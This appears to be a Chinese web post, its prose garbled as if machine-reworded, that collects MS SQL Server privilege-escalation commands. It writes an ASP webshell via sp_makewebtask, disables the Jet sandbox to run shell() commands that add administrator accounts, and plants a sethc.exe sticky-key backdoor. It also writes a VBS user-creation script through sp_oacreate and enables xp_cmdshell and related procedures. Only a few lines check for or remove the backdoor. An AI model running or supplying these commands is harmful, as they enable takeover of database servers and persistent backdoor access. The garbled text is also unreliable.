IUSR_SERVER /add 

SQL写一句话 
exec master.dbo.xp_subdirs ‘d:\web\cdlxkj’; 
exec sp_makewebtask
‘d:\web\cdlxkj\XX.asp’,’select”<%execute(request(“SB”))%>”
‘ 

SA沙盒格局提权—– 
———————- 
exec master..xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,0; 
——————————————————- 
Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:\windows\system32\ias\ias.mdb’,’select
shell(“net user sql$ 123 /add”)’); 
——————————————————- 
Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:\windows\system32\ias\ias.mdb’,’select
shell(“net localgroup administrators sql$ /add”)’); 

3389    SHIFT 

用上的言辞: 
入侵 
EXEC master..xp_regwrite 
@rootkey=’HKEY_LOCAL_MACHINE’, 
@key=’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\sethc.EXE’, 
@value_name=’Debugger’, 
@type=’REG_SZ’, 
@value=’C:\WINDOWS\explorer.exe’ 

恢复 
EXEC master..xp_regwrite 
@rootkey=’HKEY_LOCAL_MACHINE’, 
@key=’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\sethc.EXE’, 
@value_name=’Debugger’, 
@type=’REG_SZ’, 
@value=” 

画面威吓 

EXEC master..xp_regwrite —这是注册表编辑! 
@rootkey=’HKEY_LOCAL_MACHINE’, —那是岗位! 
@key=’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\sethc.EXE’, —–那也是岗位! 
@value_name=’Debugger’, —那是表名! 
@type=’REG_SZ’,         —那里是写入的意思! 
@value=’C:\WINDOWS\explorer.exe’    —-那里是写入内容! 

1体经过是采纳master..xp_regwrite那组件来形成的, 

一.sql限令查询注册表粘滞键是不是被威吓 

exec master..xp_regread
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution
Options\sethc.exe’,’Debugger’ 

2.sql指令勒迫注册表粘滞键效能,替换来职责管理器(当然你也足以替换来你想要的任何命令) 

xp_regwrite ‘HKEY_LOCAL_MACHINE’, ‘SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\sethc.exe’, 
‘Debugger’,’REG_SZ’,’C:\WINDOWS\system32\taskmgr.exe’ 

三.sql命令删除注册表粘滞键的绑架功用保证你的服务器不再被外人使用 

xp_regdeletekey ‘HKEY_LOCAL_MACHINE’, ‘SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\sethc.exe’ 

10楼

sql写文件 

declare @o int, @f int, @t int, @ret int 
exec sp_oacreate ‘scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ‘createtextfile’, @f out, ‘c:\1.vbs’, 1 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’set
wsnetwork=CreateObject(“WSCRIPT.NETWORK”)’ 
exec @ret = sp_oamethod @f, ‘writeline’,
NULL,’os=”WinNT://”&wsnetwork.ComputerName’ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set ob=GetObject(os)’ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set
oe=GetObject(os&”/Administrators,group”)’ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set
od=ob.Create(“user”,”test”)’ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’od.SetPassword
“1234”‘ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’od.SetInfo ‘ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set
of=GetObject(os&”/test”,user) ‘ 
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’oe.add os&”/test”‘ 

无NET提权的剧本 

struser=wscript.arguments(0) 
strpass=wscript.arguments(1) 

set lp=createObject(“WSCRIPT.NETWORK”) 
oz=”WinNT://”&lp.ComputerName 
Set ob=GetObject(oz) 
Set oe=GetObject(oz&”/Administrators,group”) 
Set od=ob.create(“user”,struser) 
od.SetPassword strpass 
od.SetInfo 
Set of=GetObject(oz&”/” & struser & “,user”) 
oe.Add(of.ADsPath) 

For Each admin in oe.Members 
if struser=admin.Name then 
Wscript.echo struser & ” 建立成功!” 
wscript.quit 
end if 
Next 

Wscript.echo struser & ” 用户建立退步!” 
将上述保存为user.VBS文件 
接下来实施:cscript user.vbs 用户名 密码 

应用jet沙盘格局,能够消除XP_cmdshell等储存进度和有关动态链接库带来的苦恼。出于安全原因,系统暗中同意情形下沙盘形式未打开,那就需求xp_regwrite开启沙盘格局: 

Exec master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0 
\Engines’,’SandBoxMode’,’REG_DWORD’,1 

然后实施沙盘命令,在系统添加2个用户名字为test,密码为1234的用户: 

select * from
openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows 
\system32\ias\ias.mdb’,’select shell(“cmd.exe /c net user test 1234
/add”)’) 

select * from
openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows 
\system32\ias\ias.mdb’,’select shell(“cmd.exe /c net localgroup 
administrators test /add”)’) 

差别的操作系统,路径也不同,要求依照事态做修改: 

NT/2K: c:\winnt\system32\ 
XP/2003: c:\windows\system32\ 

其它Microsoft SQL
Server200五在暗中同意意况下,一些储存进程是关门着的,须要命令打开: 

开启XP_cmdshell: 

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure 
‘xp_cmdshell’, 1;RECONFIGURE; 

开启’OPENROWSET’: 

exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec
sp_configure 
‘Ad Hoc Distributed Queries’,1;RECONFIGURE; 

开启’sp_oacreate’: 

exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec
sp_configure 
‘Ole Automation Procedures’,1;RECONFIGURE; 
[post]

相关文章